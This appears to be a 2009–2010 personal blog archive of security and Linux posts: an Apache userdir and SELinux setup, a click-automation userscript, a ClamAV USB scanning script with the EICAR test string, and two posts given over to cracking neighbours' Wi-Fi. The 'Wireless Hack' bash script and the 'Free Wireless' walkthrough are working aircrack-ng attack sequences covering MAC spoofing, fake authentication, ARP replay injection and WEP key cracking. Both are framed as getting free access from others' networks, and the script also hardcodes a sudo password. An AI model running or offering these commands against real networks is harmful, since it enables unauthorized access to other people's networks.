Archive

Archive for the ‘security’ Category

Fedora 12 + Httpd + Userdir + SElinux Works

January 30th, 2010 4 comments

Fedora 12 + Httpd + Userdir + SElinux Works

First install LAMP stack see the guide on HowtoForge

replace $USER for your username

mkdir $USER/public_html
firefox http://localhost/~$USER/

If you see only Forbidden (403), don’t worry, do this:

I made a patch file (if you made custom changes on httpd.conf don’t use this file, do manual changes)

Install patch on your system and patch httpd.conf

yum install patch

my patch file:

--- httpd-patch.conf	2010-01-30 14:59:51.811850034 -0800
+++ httpd.conf	2010-01-30 14:25:04.527864263 -0800
@@ -349,14 +349,15 @@
     # of a username on the system (depending on home directory
     # permissions).
     #
-    UserDir disabled
+    #UserDir disabled
+    UserDir enabled $USER
 
     #
     # To enable requests to /~user/ to serve the user's public_html
     # directory, remove the "UserDir disabled" line above, and uncomment
     # the following line instead:
     # 
-    #UserDir public_html
+    UserDir public_html
 
 </IfModule>
 
@@ -364,18 +365,18 @@
 # Control access to UserDir directories.  The following is an example
 # for a site where these directories are restricted to read-only.
 #
-#<Directory /home/*/public_html>
-#    AllowOverride FileInfo AuthConfig Limit
-#    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
-#    <Limit GET POST OPTIONS>
-#        Order allow,deny
-#        Allow from all
-#    </Limit>
-#    <LimitExcept GET POST OPTIONS>
-#        Order deny,allow
-#        Deny from all
-#    </LimitExcept>
-#</Directory>
+<Directory /home/*/public_html>
+    AllowOverride FileInfo AuthConfig Limit
+    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
+    <Limit GET POST OPTIONS>
+        Order allow,deny
+        Allow from all
+    </Limit>
+    <LimitExcept GET POST OPTIONS>
+        Order deny,allow
+        Deny from all
+    </LimitExcept>
+</Directory>
 
 #
 # DirectoryIndex: sets the file that Apache will serve if a directory

next do:

patch /etc/httpd/httpd.conf < patch1.txt
chmod 711 /home/$USER
chmod 755 /home/$USER/public_html
chcon -R -t httpd_sys_content_t /home/$USER/public_html
setsebool -P httpd_enable_homedirs 1

now:

firefox http://localhost/~$USER/

Done.

Categories: security, unix/linux, web Tags: , ,

Autoclick Opera Userscript

October 15th, 2009 No comments

Autoclick Opera Userscript

Autoclick code:

if (typeof e == 'object') {
	if (typeof e.click != 'undefined') {
		e.click();
		return false;
	} else if (document.createEvent) {
		var evObj = document.createEvent('MouseEvents');
		evObj.initEvent('click',true,true);
		e.dispatchEvent(evObj);
		return false;
	}
	else if (document.createEventObject) {
		e.fireEvent('onclick');
		return false;
	}
	else {
		e.click();
		return false;
	}
}
Categories: security, web Tags: ,

Wireless Hack Bash Script

August 23rd, 2009 2 comments

Wireless Hack Bash Script

#!/bin/bash
#
# WARNING: USE AT YOUR OWN RISK!
#
# SIDE EFFECTS: UNHAPPY NEIGHTBORS
# 
# Author: ALbertux (Alberto Isaac Ayala Esquivias)
# Mail: <Albertux@AyalaSoft.com>
# Web: http://Albertux.AyalaSoft.com
# Script: Wireless Hack
# Tested on: Ubuntu 9.04
 
# A little trouble using gksudo gnome-terminal
# https://bugs.launchpad.net/ubuntu/+source/gconf2/+bug/328575
# gnome-terminal -e "sudo ...." # could be ...
# TERM=gnome-terminal
TERM=xterm
 
# A nasty function to run_like_a_root user sending the passwd
function run_like_a_root() {
sudo -S $@ << EOF
your_password
EOF
}
 
# Restore to normal: ./this_script.sh restore
if [ "$1" == "restore" ]; then
	run_like_a_root "airmon-ng stop mon0"
	run_like_a_root "/etc/init.d/networking restart"
	run_like_a_root "NetworkManager"
	exit 1
fi
 
# Set Wireless Device: ./this_script.sh wlan1
if [ -z $1 ]; then
	WDEVICE=wlan0 # Could be diferrent on your notebook
else
	WDEVICE=$1 # Set Wireless Device
fi
 
# Stop Wireless
run_like_a_root airmon-ng stop $WDEVICE
 
# Kill all fu**ing process using the Wireless Device:
run_like_a_root kill -9 `run_like_a_root airmon-ng start $WDEVICE | grep ^[1-9] | awk ' { print $1 } '`
 
# Wireless Devices Down (we need to change the Mac)
run_like_a_root ifconfig $WDEVICE down
run_like_a_root ifconfig mon0 down
 
# Fake Mac, Example:
FAKEMAC=00:66:00:66:00:66
 
# Set Fake Mac
run_like_a_root macchanger -m $FAKEMAC $WDEVICE
run_like_a_root macchanger -m $FAKEMAC mon0
 
# Up the Wireless Interface
run_like_a_root ifconfig mon0 up
 
# See all available networks
run_like_a_root $TERM -e "airodump-ng mon0" &
 
# Watch the xterm loaded and write the values (maybe you need resize xterm window)
clear
echo "Network Name: "
read ESSID
echo "Network Mac: "
read BSSID
echo "Network Channel: "
read CHANNEL
echo "Close the airodump-ng xterm and press [enter]"
read
 
# Get Data (IVs)
run_like_a_root $TERM -e "airodump-ng mon0 -w data -c $CHANNEL --bssid $BSSID" &
 
# Fake Authentication Attack
run_like_a_root $TERM -e "watch aireplay-ng -1 0 -e $ESSID -a $BSSID -h $FAKEMAC mon0" &
 
# ARP Request
run_like_a_root $TERM -e "aireplay-ng -3 -b $BSSID -h $FAKEMAC mon0" &
 
# Wait some time ...
echo "Press any kay to launch aircrack-ng (30,000+ on data recommended)"
read
 
# Crack the Passwd
run_like_a_root $TERM -e "aircrack-ng data-*.cap" &
 
exit 0

Free Wireless on Ubuntu 9.04

Free Wireless on Ubuntu 9.04

August 12th, 2009 No comments

Free Wireless

Using Ubuntu 9.04:

sudo apt-get install aircrack-ng macchanger

The device name could be different on your machine

sudo airmon-ng stop wlan0
sudo airmon-ng start wlan0
sudo ifconfig wlan0 down
sudo ifconfig mon0 down
sudo macchanger -m $FAKEMAC wlan0
sudo macchanger -m $FAKEMAC mon0
sudo ifconfig mon0 up
sudo airodump-ng mon0 # See all available networks choose one channel

Inject packets:

# terminal 01
 sudo airodump-ng mon0 -w wdata -c 6 --bssid  00:00:00:00:00:00 # -c $CHANNEL
# terminal 02
watch sudo aireplay-ng -1 0 -e $SSID -a 00:00:00:00:00:00 -h $FAKEMAC mon0
# terminal 03
sudo aireplay-ng -3 -b 00:00:00:00:00:00 -h $FAKEMAC mon0
# wait some time to get 30,000 on Data on terminal 01

Now get the password:

sudo aircrack-ng wdata-*.cap

See Screens:

Categories: network, security, unix/linux Tags: , ,

USB Scan Antivirus

July 14th, 2009 No comments

USB Scan Antivirus

I made this script to clean USB Drives:

usbscan.sh:

#!/bin/bash
# Author: Albertux (Alberto Isaac Ayala Esquivias)
# Email: <albertoi7@gmail.com>
# Web: http://www.AyalaSoft.com
#
# First install clamav: sudo apt-get install clamav 
# copy usbcan.desktop on /home/$USER/Desktop
# copy usbscan on /home/$USER/bin/ 
#
# This script tested on Debian or Ubuntu
 
USB="sdb1" # check first using mount command or cat /etc/mtab
 
IFS=$'\t\n'
LIGHT_RED="\033[1;31m"
LIGHT_GREEN="\033[1;32m"
LIGHT_BLUE="\033[1;34m"
YELLOW="\033[1;33m"
NORMAL="\033[0m"
 
echo -e "${LIGHT_GREEN}"
echo "#   #  #### ####       ####  ####  ###  #   #"
echo "#   # #     #   #     #     #     #   # ##  #"
echo "#   #  ###  ####   #   ###  #     ##### # # #"
echo "#   #     # #   #         # #     #   # #  ##"
echo " ###  ####  ####      ####   #### #   # #   #"
echo -e "${NORMAL}"
echo -n "Inserte el USB y precione [Enter]"
read
sleep 5
 
USB_TMP=`cat /etc/mtab | grep $USB  | awk '{print $2}'`
USB_PATH=`echo $USB_TMP | sed -e 's/\\\040/ /g'`
 
if [ -z $USB_PATH ];
then
	echo -en "\n${LIGHT_RED}AVIZO!${NORMAL} \"USB no detectado, precione [Enter]\""
	read
	exit
fi
 
echo -e "\nUSB localizado en [${LIGHT_BLUE}$USB_PATH${NORMAL}]"
echo -e "\n${YELLOW}AVIZO!${NORMAL} \"No desconecte el USB hasta que se le indique\"\n"
clamscan --remove --infected --recursive $USB_PATH > usbscan.log 2> usbscan.err.log
umount /dev/sdb1
echo -en "\n${YELLOW}LISTO!${NORMAL} \"Puede desconectar el USB, precione [Enter]\""
read

usbscan.desktop:

[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=true
Icon[en_US]=gnome-panel-launcher
Exec=/home/aayala/usbscan.sh
Name[en_US]=USB SCAN
Name=Antivirus
Icon=/home/aayala/bin/.virus.png

eicar.com (virus test file):

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

virus.png:

Notes:
The scan is slow but efective

Categories: security, windows Tags: , , ,

Switch to our mobile site